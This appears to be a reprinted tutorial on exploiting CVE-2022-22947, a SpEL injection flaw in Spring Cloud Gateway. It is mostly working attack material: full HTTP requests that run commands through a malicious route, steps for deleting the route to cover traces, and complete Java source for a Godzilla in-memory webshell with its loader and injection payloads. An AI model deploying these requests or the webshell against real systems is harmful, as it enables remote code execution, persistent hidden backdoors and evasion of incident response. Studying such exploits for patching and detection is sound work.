Vulnerability Introduction
Spring Cloud Gateway is an API gateway based on Spring Framework and Spring Boot. It aims to provide a simple, effective and unified API routing management method for microservice architecture. The following versions of Spring Cloud Gateway have SPEL expression injection vulnerability CVE-2022 -22947, can lead to unauthorized remote command execution vulnerability
- Vulnerability Information: CVE-2022-22947
-
Exploit version:
- Spring Cloud Gateway 3.1.x < 3.1.1
- Spring Cloud Gateway 3.0.x < 3.0.7
- Other versions of Spring Cloud Gateway that are no longer updated
exploit
Vulnerability to reproduce
-
Send malicious requests, create routes and write SpEL expressions
- The
idfield specifies the new route name, which must be unique -
The
filtersfield specifies several filters for this route, and filters are used to modify requests and responses- The
namefield specifies the filter to be added. AnAddResponseHeaderfilter is added here to add a response header before thegatewayreturns the response to the client. -
args.namefield specifies the response headers to add -
args.valuefield specifies the value of the response header. The value here is the SPEL expression to execute to execute the whoami command. Note that you need to remove the newline at the end of the command output, otherwise the filter will throw an exception saying “the value of the response header cannot end with r or n” - The
urifield specifies to forward client requests tohttp://example.com
- The
- The
POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" }

-
Refresh the route, which will trigger and execute the SpEL expression.
- It should be noted that a blank line is required in the request body, otherwise it will keep waiting after sending, the same below
POST /actuator/gateway/refresh HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0

- View execution results
GET /actuator/gateway/routes/hacktest HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0

- Finally, you can delete the added route for trace cleaning
DELETE /actuator/gateway/routes/hacktest HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close

- Finally refresh the route
POST /actuator/gateway/refresh HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0

Bugfix

godzilla memory horse
surroundings
- Create a Maven project and introduce dependencies
<dependencies> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-gateway</artifactId> <version>3.0.6</version> </dependency> </dependencies>
structure
The GMemShell.java Godzilla memory horse is used here, and the specific analysis article refers to: CVE-2022-22947 Injecting the Godzilla memory horse
-
Construct a memory horse, set the variables
passandkey, and thepathparameter passed in by thedoInjectmethod is the path of the Trojan horse- The
keyhere is the first 16 bits of the MD5 value of the plaintexttestpwd,echo -n "testpwd" | md5 | cut -c 1-16
- The
import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.reactive.result.method.RequestMappingInfo; import org.springframework.web.server.ServerWebExchange; import reactor.core.publisher.Mono; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.HashMap; import java.util.Map; public class GMemShell { public static Map<String, Object> store = new HashMap<>(); public static String pass = "test", md5, key = "342df5b036b2f281"; public static String doInject(Object obj, String path) { String msg; try { md5 = md5(pass + key); Method registerHandlerMethod = obj.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class); registerHandlerMethod.setAccessible(true); Method executeCommand = GMemShell.class.getDeclaredMethod("cmd", ServerWebExchange.class); RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).build(); registerHandlerMethod.invoke(obj, new GMemShell(), executeCommand, requestMappingInfo); msg = "ok"; } catch (Exception e) { e.printStackTrace(); msg = "error"; } return msg; } private static Class defineClass(byte[] classbytes) throws Exception { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); return (Class) method.invoke(urlClassLoader, classbytes, 0, classbytes.length); } public byte[] x(byte[] s, boolean m) { try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } catch (Exception e) { return null; } } public static String md5(String s) { String ret = null; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch (Exception e) { } return ret; } public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e2) { } } return value; } @PostMapping("/cmd") public synchronized ResponseEntity cmd( ServerWebExchange pdata) { try { Object bufferStream = pdata.getFormData().flatMap(c -> { StringBuilder result = new StringBuilder(); try { String id = c.getFirst(pass); byte[] data = x(base64Decode(id), false); if (store.get("payload") == null) { store.put("payload", defineClass(data)); } else { store.put("parameters", data); java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = ((Class) store.get("payload")).newInstance(); f.equals(arrOut); f.equals(data); result.append(md5.substring(0, 16)); f.toString(); result.append(base64Encode(x(arrOut.toByteArray(), true))); result.append(md5.substring(16)); } } catch (Exception ex) { result.append(ex.getMessage()); } return Mono.just(result.toString()); }); return new ResponseEntity(bufferStream, HttpStatus.OK); } catch (Exception ex) { return new ResponseEntity(ex.getMessage(), HttpStatus.OK); } } }
- Finally, use Maven to compile and get
GMemShell.class
$ mvn compile

- Write a loader, load the Class file and convert to Base64 encoding
import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.util.Base64; public class LoaderClass { public static byte[] load(String path) { FileInputStream fis = null; ByteArrayOutputStream baos = null; try { fis = new FileInputStream(path); baos = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len = -1; while ((len = fis.read(buffer)) != -1) { baos.write(buffer, 0, len); baos.flush(); } return baos.toByteArray(); } catch (Exception e) { e.printStackTrace(); } finally { if (fis != null) { try { fis.close(); } catch (Exception e) { e.printStackTrace(); } } if (baos != null) { try { baos.close(); } catch (Exception e) { e.printStackTrace(); } } } return null; } public static void main(String[] args) { byte[] code = LoaderClass.load("target/classes/GMemShell.class"); String temp = Base64.getEncoder().encodeToString(code); System.out.println(temp); } }

injection
Here, the highly available payload optimized by the c0ny1 master to the default payload is used.
Here you need to pass the previously encoded Base64 string and access route to this SpEL expression, such as /gmem
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('<Base64字符串>'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping, '</路由>')}
- Create route
POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 10770 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('<Base64字符串>'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping, '/gmem')}" } }], "uri": "http://example.com" }

- refresh route
POST /actuator/gateway/refresh HTTP/1.1 Host: <IP:Port> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0

- Use a browser to access and find that the route has been entered

-
Connect with Godzilla
- The URL is the
pathinjected in the Payload - The password is the
passset earlier, and the key is the plaintext of thekey
- The URL is the

inject 2
The magic change adds custom
passandkeyfunctions, so that you only need to compile the Class once and generate the corresponding Base64 encoding. You only need to pass in different parameters each time you use it, instead of compiling every time.
Because in the previous file GMemShell.java , pass/key is a global static variable, so you cannot pass parameters directly to the doInject method like the path variable, so the initial idea was to start with the SpEL expression
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('<Base64字符串>'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping, '/路由')}
As you can see from the class org.springframework.cglib.core.ReflectUtils , the above expression passes in 3 parameters to the defineClass method in this class: className class name, byte[] byte array, loader class loader , no available points were found

Later, I thought that you can define the global variables pass and key first, and then pass the password passKey and key keyStr parameters to the doInject method and overwrite it (the previous thought was complicated). In addition keyStr needs to perform MD5 encryption and intercept the first 16 bits. Here, the encryption part can directly call the DigestUtils class in Spring, so this class needs to be introduced. Reference: Java MD5 algorithm implementation
import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.util.DigestUtils; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.reactive.result.method.RequestMappingInfo; import org.springframework.web.server.ServerWebExchange; import reactor.core.publisher.Mono; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.HashMap; import java.util.Map; public class GMemShell { public static Map<String, Object> store = new HashMap<>(); public static String pass, md5, key; public static String doInject(Object obj, String path, String passStr, String keyStr) { String msg; pass = passStr; key = DigestUtils.md5DigestAsHex(keyStr.getBytes()).substring(0, 16); try { md5 = md5(pass + key); Method registerHandlerMethod = obj.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class); registerHandlerMethod.setAccessible(true); Method executeCommand = GMemShell.class.getDeclaredMethod("cmd", ServerWebExchange.class); RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).build(); registerHandlerMethod.invoke(obj, new GMemShell(), executeCommand, requestMappingInfo); msg = "ok"; } catch (Exception e) { e.printStackTrace(); msg = "error"; } return msg; } // ... }
- Similarly, the SpEl expression also needs to be slightly modified, adding the receiving password and key parameters
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('<Base64字符串>'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping, '</路由>','<密码>','<密钥>')}


Reference article
- Vulhub/CVE-2022-22947
- Spring cloud gateway injects memory horses through SPEL
- CVE-2022-22947 Injecting Godzilla memory horses
- Filter of Spring cloud gateway
- Spring Cloud Function Spel Rce To Inject Spring And Netty Memory Shell.pdf
This article is reprinted from https://www.naraku.cn/posts/123.html
This site is for inclusion only, and the copyright belongs to the original author.